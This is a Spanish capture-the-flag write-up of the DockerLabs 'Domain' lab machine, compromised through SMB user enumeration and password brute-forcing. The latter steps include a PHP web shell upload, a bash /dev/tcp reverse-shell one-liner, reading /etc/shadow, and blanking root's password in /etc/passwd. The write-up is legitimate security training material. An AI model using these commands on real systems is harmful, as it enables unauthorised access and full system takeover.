Domain Writeup - DockerLabs
Información |
---|
Máquina: Domain |
Creador: El Pingüino de Mario |
SO: Linux |
Dificultad: Medium |
Esta máquina está alojada en DockersLabs, una nueva plataforma creada por ElPingüinoDeMario con un concepto diferente al que estamos acostumbrados, en lugar de conectarnos a una vpn o virtualizar una máquina se realiza la conexión a la máquina vulnerable a través de Docker, pudiendo correr en la propia máquina atacante la víctima, una muy buena idea para ahorrar recursos.
El tutorial para poder realizar estas máquinas se encuentra aquí
Comenzamos realizando un ping para confirmar visibilidad entre máquinas
Realizamos un nmap para descubrir que servicios están corriendo en la máquina
Vemos que hay un servidor web Apache y un servidor samba corriendo.
Samba es una suite de aplicaciones Unix que habla el protocolo SMB (Server Message Block). Los sistemas operativos Microsoft Windows y OS/2 utilizan SMB para compartir por red archivos e impresoras y para realizar tareas asociadas.
En la web nos encontramos una breve explicación de qué es samba y para qué se usa.
Realizo un fuzzeo en busca de directorios, subdirectorios y subdominios interesantes pero sin éxito.
Nos centramos en el servidor smb, lanzamos enum4linux, para una posible enumeración de usuarios
1
enum4linux 172.17.0.2
Descubrimos dos usuarios: James y Bob
Creamos un diccionario con los dos nombres para realizar fuerza bruta con crackmapexec
1
2
3
crackmapexec smb 172.17.0.2 -u users.txt -p /usr/share/wordlists/rockyou.txt
-----------------------------------------------------------------------------------
SMB 172.17.0.2 445 86B2D8C57A0E [+] 86B2D8C57A0E\bob:star
Conseguimos las credenciales para bob: bob@star
1
smbmap -H 172.17.0.2 -u 'bob' -p 'star'
Nos encontramos con que bob tiene permisos para modificar la carpeta html del servidor Apache, vamos a intentar subir un archivo PHP para realizar RCE.
Para acceder al recurso en el servidor smb usamos el comando:
1
smbclient //172.17.0.2/html -U bob
Hacemos una pequeña prueba subiendo un archivo con el comando ‘put’
Llamamos al archivo y comprobamos que funciona correctamente
Modificamos nuestro archivo rce.php
subiendo un cmd para realizar el RCE
1
2
3
<?php
system($_GET['cmd']);
?>
Volvemos a realizar la comprobación:
Procedemos a enviar una revshell
1
bash -c "bash -i >%26 /dev/tcp/192.168.0.84/4444 0>%261"
Conseguimos una shell como el usuario www-data, nos cambiamos al usuario bob y comprobamos los privilegios.
Pruebo a leer el /etc/shadow desde nano con este procedimiento de GTFObins
No somos capaces de leerlo, sin embargo haciendo la llamada directamente con el binario sí somos capaces de leer el shadow.
Se puede observar que el inicio de sesión con contraseña está desactivado para root
Vamos al fichero /etc/passwd:
Eliminamos la x, dejando al usuario root de la siguiente forma:
1
root::0:0:root:/root:/bin/bash
Después de este proceso con el comando su root
ya tendremos permisos como root y habremos vulnerado la máquina.